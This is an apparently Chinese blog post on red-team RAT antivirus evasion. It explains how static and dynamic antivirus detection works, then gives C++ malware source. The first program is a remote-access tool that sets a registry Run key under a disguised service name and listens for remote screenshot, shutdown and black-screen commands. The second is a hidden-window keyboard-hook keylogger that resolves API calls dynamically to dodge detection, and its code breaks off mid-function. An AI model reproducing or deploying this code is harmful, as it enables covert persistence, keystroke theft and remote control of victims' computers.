红队 RAT 源码免杀思维与实战详解笔记

以下是对上述内容的汇总:

**一、红队 RAT 源码免杀思维**

市面上有很多杀软免杀技术,但对于初学者来说,可能会遇到一些问题,如加壳后反而被查杀等情况,容易让人情绪化放弃。本文将静态免杀和动态免杀按照是否运行程序进行划分,主要有以下情况:

1. 如果放置进杀软环境被查杀,则可能为静态查杀或动态查杀(沙箱查杀 DLL,因为 DLL 并不会直接运行)。
2. 如果双击运行被查杀,则为动态查杀。

**(一)静态查杀**

1. **已知病毒查杀 - 特征码查杀**:
   - 特征码是表示按照指定模式进行特征匹配的算法,具体使用的规则取决于扫描器。例如 YARA(Yet Another Recursive Acronym) 规则,它是一款开源工具,可基于文本或二进制模式创建恶意软件家族描述信息。
   - 以 PoisonIvy 的 YARA 规则为例,满足特定字符串、文件大小等条件且为 PE 文件的则被认定为 PoisonIvy 病毒。程序符合特定规则则被认定为指定病毒。

2. **未知病毒查杀 - 静态启发式查杀**:
   - 启发式查杀是对单一特征码查杀的补充,用于解决未知病毒查杀早期杀软通过发现病毒制作特征码来查杀已知病毒,而启发式查杀则将一类病毒总结归纳其特征,后续演变都归为一类病毒
   - 例如,有的杀软会通过机器学习把家族病毒聚类,或使用通用型 YARA 规则,如文件大小小于 100kb 且没有图标则识别为病毒,以此查杀壳病毒。也可能出现误报,如杀软查杀 main 函数中仅有几行无效代码的情况。

**(二)动态查杀**

1. **已知病毒查杀 - 内存特征**:
   - 例如,某数字查杀 cobaltstrike 等知名远控是通过 shell code 内存匹配来进行查杀

2. **未知病毒查杀 - 启发式查杀和主动防御**:
   - 杀软通过拦截程序运行的 API 调用,根据 API 序列或其是否高危来判定是否为病毒
   - 举例:Kas 针对 cobaltstrike 的查杀是通过联网 URL 的地址特征;某些杀软会分析拷贝到磁盘的 DLL 的行为,如 DLL 下载者会被查杀;注入 explorer.exe 可能被干掉;Bitdexxxxx 会在运行时查杀空壳且名字随机的程序,干扰免杀。注意,有的杀软在断网模式下不开启主动防御功能。

*红队 RAT 源码免杀实战

#include <stdio.h>
#include <iostream>
#include <winsock2.h>
#include <string>
#include <windows.h>
#include <winuser.h>

#pragma comment(lib,"ws2_32.lib")

using namespace std;

#define RUN_KEY_ADMIN "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"
#define RUN_KEY "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

int addRunEntry(char *name, char *path)
{
    HKEY key;
    int len = strlen(path) + 1;
    //LONG r = RegOpenKeyEx(HKEY_LOCAL_MACHINE, RUN_KEY, 0, KEY_ALL_ACCESS, &key);
    LONG r = RegOpenKeyEx(HKEY_CURRENT_USER, RUN_KEY, 0, KEY_ALL_ACCESS, &key);

    if (r!= ERROR_SUCCESS) {
        // unable to open key for adding values.
        return 1;
    }
 
    r = RegSetValueEx(key, name, 0, REG_SZ, (BYTE *)path, len);
    if (r!= ERROR_SUCCESS) {
        RegCloseKey(key);
        // unable to change registry value.
        return 1;
    }
   
    RegCloseKey(key);
 
    // success
    return 0; 
}

void loader(char szExe[], char szArgs[])
{
    STARTUPINFO          si = { sizeof(si) };
    PROCESS_INFORMATION  pi;

    if(CreateProcessA(szExe, szArgs, 0, 0, FALSE, 0, 0, 0, LPSTARTUPINFOA(&si), &pi))
    {
        // optionally wait for process to finish
        //WaitForSingleObject(pi.hProcess, INFINITE);

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

int WINAPI WinMain(HINSTANCE inst,HINSTANCE prev,LPSTR cmd,int show){
    //registry autorun
    char result[260];
    string( result, GetModuleFileName(NULL, result, 260));
    string try1 = (string)result;
    string try2 = "\""+try1+"\"";
    char *result2 = (char*)try2.c_str();
    addRunEntry("MSSQLSP_Server", result2);

    bool running = true;
    while(running){
        WSADATA WsaDat;
        if(WSAStartup(MAKEWORD(2,2),&WsaDat)!=0)
        {
            std::cout<<"WSA Initialization failed!\r\n";
            WSACleanup();
            system("PAUSE");
            return 0;
        }

        SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        if(Socket==INVALID_SOCKET)
        {
            std::cout<<"Socket creation failed.\r\n";
            WSACleanup();
            system("PAUSE");
            return 0;
        }

        SOCKADDR_IN serverInf;
        serverInf.sin_family=AF_INET;
        serverInf.sin_addr.s_addr=INADDR_ANY;
        serverInf.sin_port=htons(25565);

        if(bind(Socket,(SOCKADDR*)(&serverInf),sizeof(serverInf))==SOCKET_ERROR)
        {
            std::cout<<"Unable to bind socket!\r\n";
            WSACleanup();
            system("PAUSE");
            return 0;
        }

        listen(Socket,1);

        SOCKET TempSock=SOCKET_ERROR;
        while(TempSock==SOCKET_ERROR)
        {
            std::cout<<"Waiting for incoming connections...\r\n";
            TempSock=accept(Socket,NULL,NULL);
        }
        Socket=TempSock;

        std::cout<<"Client connected!\r\n\r\n";

        char *szMessage="Welcome to the server! Use SCREENSHOT or SHUTDOWN or BLACKSCREEN\r\n";
        send(Socket,szMessage,strlen(szMessage),0);

        //
        char buffer[1024] = {'\0'};
        std::string message;
        int s = recv(Socket, buffer, 1024, 0);
        /*cout << "outgoing MESSAGE: ";
        cin >> message;
        send(Socket, message.c_str(), message.length(), 0);*/
        message = (string)buffer;
        cout << message;
        if (std::string::npos!= message.find("SCREENSHOT"))
        {
            char* appdata = getenv("APPDATA");
            string asdf = (string)appdata + "\\Server_actions.exe";
            char * ddd = &asdf[0];
            loader(ddd, " SCREENSHOT");
            string backstr = "it's up to you, master.. Screenes may be cool!";
            send(Socket, backstr.c_str(), backstr.length(), 0);
        }else if(std::string::npos!= message.find("SHUTDOWN")){
            //shutdown the pc
            //restart app
            char* appdata = getenv("APPDATA");
            string asdf = (string)appdata + "\\Server_actions.exe";
            char * ddd = &asdf[0];
            loader(ddd, " SHUTDOWN");
            string backstr = "Shutting down..";
            send(Socket, backstr.c_str(), backstr.length(), 0);
            return 0;
        }else if(std::string::npos!= message.find("BLACKSCREEN")){
            //black screen
            //restart app
            char* appdata = getenv("APPDATA");
            string asdf = (string)appdata + "\\Server_actions.exe";
            char * ddd = &asdf[0];
            loader(ddd, " BLACKSCREEN");
            string backstr = "it's up to you, master.. Having fun on a black desktop :)";
            send(Socket, backstr.c_str(), backstr.length(), 0);
        }

        // Shutdown our socket
        shutdown(Socket,SD_SEND);

        // Close our socket entirely
        closesocket(Socket);

        // Cleanup Winsock
        WSACleanup();
    }

    system("PAUSE");
    return 0;
}

这段代码实现了以下功能:
- 通过注册表实现自启动。
- 建立网络连接,等待客户端连接。
- 根据客户端指令执行相应操作,如截图、关机、黑屏等,并加载另一个可执行文件执行操作后向客户端返回消息。

红队 RAT 源码免杀实战

// KbHook.cpp : Defines the entry point for the console application.
//
#include "pch.h"
#include "windows.h"
#include "stdio.h"
#include "kbhook.h"
#include <malloc.h>

#define _WIN32_WINNT  0x0500    //仅NT5.0以上系统可用

#define WM_StartHook WM_USER+100
#define WM_StopHook  WM_USER+200

#define WM_MYQUIT  WM_USER+300

typedef LRESULT(WINAPI *My_DefWindowProc)(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
My_DefWindowProc myDefWindowProc;

typedef HHOOK(WINAPI *My_SetWindowsHookEx)(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
My_SetWindowsHookEx mySetWindowsHookEx;

_KbHook* _KbHook::m_pThis = NULL;

_KbHook::_KbHook()
{
    m_pThis = this;

    m_hWndKeylogger = NULL;
    m_hhook = NULL;
    m_hLastFocus = NULL;

    m_bSend = false;
    m_bOfflineLog = false;
    m_bLogToFile = false;

    memset(m_CurrentWindowText, 0, sizeof(m_CurrentWindowText));
    memset(m_LastWindowText, 0, sizeof(m_LastWindowText));

    memset(m_fileName, 0, MAX_PATH);
    m_hFile = INVALID_HANDLE_VALUE;

    m_hCreateWindowEvent = CreateEvent(NULL, false, false, NULL);

    m_ThreadHandle = CreateThread(NULL, NULL, CreateWindowThread, this, NULL, &m_ThreadID);

    WaitForSingleObject(m_hCreateWindowEvent, 10000);//10秒应该够长了吧
}

_KbHook::~_KbHook()
{
    SendMessage(m_hWndKeylogger, WM_QUIT, 0, 0);
    if (m_ThreadHandle!= NULL)
    {
        try
        {
            TerminateThread(m_ThreadHandle, 0);
            m_ThreadHandle = NULL;
        }
        catch (...)
        {
            return;
        }
    }
}

//创建窗口
DWORD __stdcall _KbHook::CreateWindowThread(LPVOID lpParam)
{
    _KbHook* pKbHook = (_KbHook*)lpParam;
    pKbHook->CreateWindowHook();
    return 0;
}

void _KbHook::CreateWindowHook()
{
    try
    {
        Desktop_Capture("WinSta0", NULL, NULL, 0);
        WNDCLASSEX    wndClassEx;        //ebp-6c
                                    //char        szBuffer[0x20];    //ebp-3c
        MSG            msg;            //ebp-1c

        HMODULE hModule = GetModuleHandle(NULL);//句柄,相当于 HINSTANCE

        if (hModule!= 0)
        {
            //创建窗口 设定视窗类别
            wndClassEx.cbSize = 0x30;
            wndClassEx.style = 0;
            wndClassEx.lpfnWndProc = HookWindowProc;
            wndClassEx.cbClsExtra = 0;
            wndClassEx.cbWndExtra = 0;
            wndClassEx.hInstance = hModule;
            wndClassEx.hIcon = 0;
            wndClassEx.hCursor = NULL;
            wndClassEx.hbrBackground = NULL;
            wndClassEx.lpszMenuName = NULL;
            wndClassEx.lpszClassName = "KB";
            wndClassEx.hIconSm = 0;

            // 注册新视窗类别
            RegisterClassEx(&wndClassEx);
            // 建构视窗
            m_hWndKeylogger = CreateWindowEx(0, wndClassEx.lpszClassName, NULL, WS_OVERLAPPED,
                0, 0, 0, 0, NULL, NULL, hModule, NULL);
            ShowWindow(m_hWndKeylogger, SW_HIDE);
            UpdateWindow(m_hWndKeylogger);
            SetEvent(m_hCreateWindowEvent);

            // 等待 WM_QUIT 消息循环
            try
            {
                while (GetMessage(&msg, NULL, 0, 0))
                {
                    TranslateMessage(&msg);
                    DispatchMessage(&msg);
                }
            }
            catch (...)
            {
            }
            if (m_hhook!= NULL)
            {
                UnhookWindowsHookEx(m_hhook);
                m_hhook = NULL;
            }
        }
    }
    catch (...)
    {
    }
}

LRESULT CALLBACK _KbHook::HookWindowProc(HWND hWndKeylogger, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    HINSTANCE h = LoadLibrary("User32.dll");
    myDefWindowProc = (My_DefWindowProc)GetProcAddress(h, "DefWindowProcA");
    switch (Msg)
    {
    case WM_StartHook:
        m_pThis->StartHook();
        return 0;
    case WM_StopHook:
        m_pThis->StopHook();
        return 0;
    case WM_QUIT:
        PostQuitMessage(0);
        return 0;
    default: break;
    }
    return myDefWindowProc(hWndKeylogger, Msg, wParam, lParam);
}

void _KbHook::SendStartHook(char* fileName, int len)
{
    if (m_hWndKeylogger == NULL)
        return;
    if (m_hhook)
        return;

    memcpy(m_fileName, fileName, len);
    SendMessage(m_hWndKeylogger, WM_StartHook, 0, 0);
}

void _KbHook::SendStopHook()
{
    SendMessage(m_hWndKeylogger, WM_StopHook, 0, 0);
}

void _KbHook::StartHook()
{
    if (m_hFile == INVALID_HANDLE_VALUE)
    {
        m_hFile = CreateFile(m_fileName, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        SetFilePointer(m_hFile, 0, 0, FILE_END);
    }

    HINSTANCE h = LoadLibrary("User32.dll");
    mySetWindowsHookEx = (My_SetWindowsHookEx)GetProcAddress(h, "SetWindowsHookExA");
    m_hhook = mySetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0);
}

void _KbHook::StopHook()
{
    if (m_hhook!= NULL)
    {
        UnhookWindowsHookEx(m_hhook);
        m_hhook = NULL;

        if (INVALID_HANDLE_VALUE!= m_hFile)
        {
            CloseHandle(m_hFile);
            m_hFile = INVALID_HANDLE_VALUE;
        }
    }
}

LRESULT CALLBACK _KbHook::KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (m_pThis!= NULL)
    {
        return m_pThis->KeyboardHookFunc(nCode, wParam, lParam);
    }
    return 0L;
}

LRESULT _KbHook::KeyboardHookFunc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode!= HC_ACTION)
        return CallNextHookEx(m_hhook, nCode, wParam, lParam);

    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);

    if (wParam == WM_KEYDOWN)
    {
        if ((int)(GetTickCount() - p->time) > 100 || (int)(GetTickCount() - p->time) < -100)
        {
            return CallNextHookEx(m_hhook, nCode, wParam, lParam);
        }

        HWND hFocus

以上用于技术交流,不可用于非法用途

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值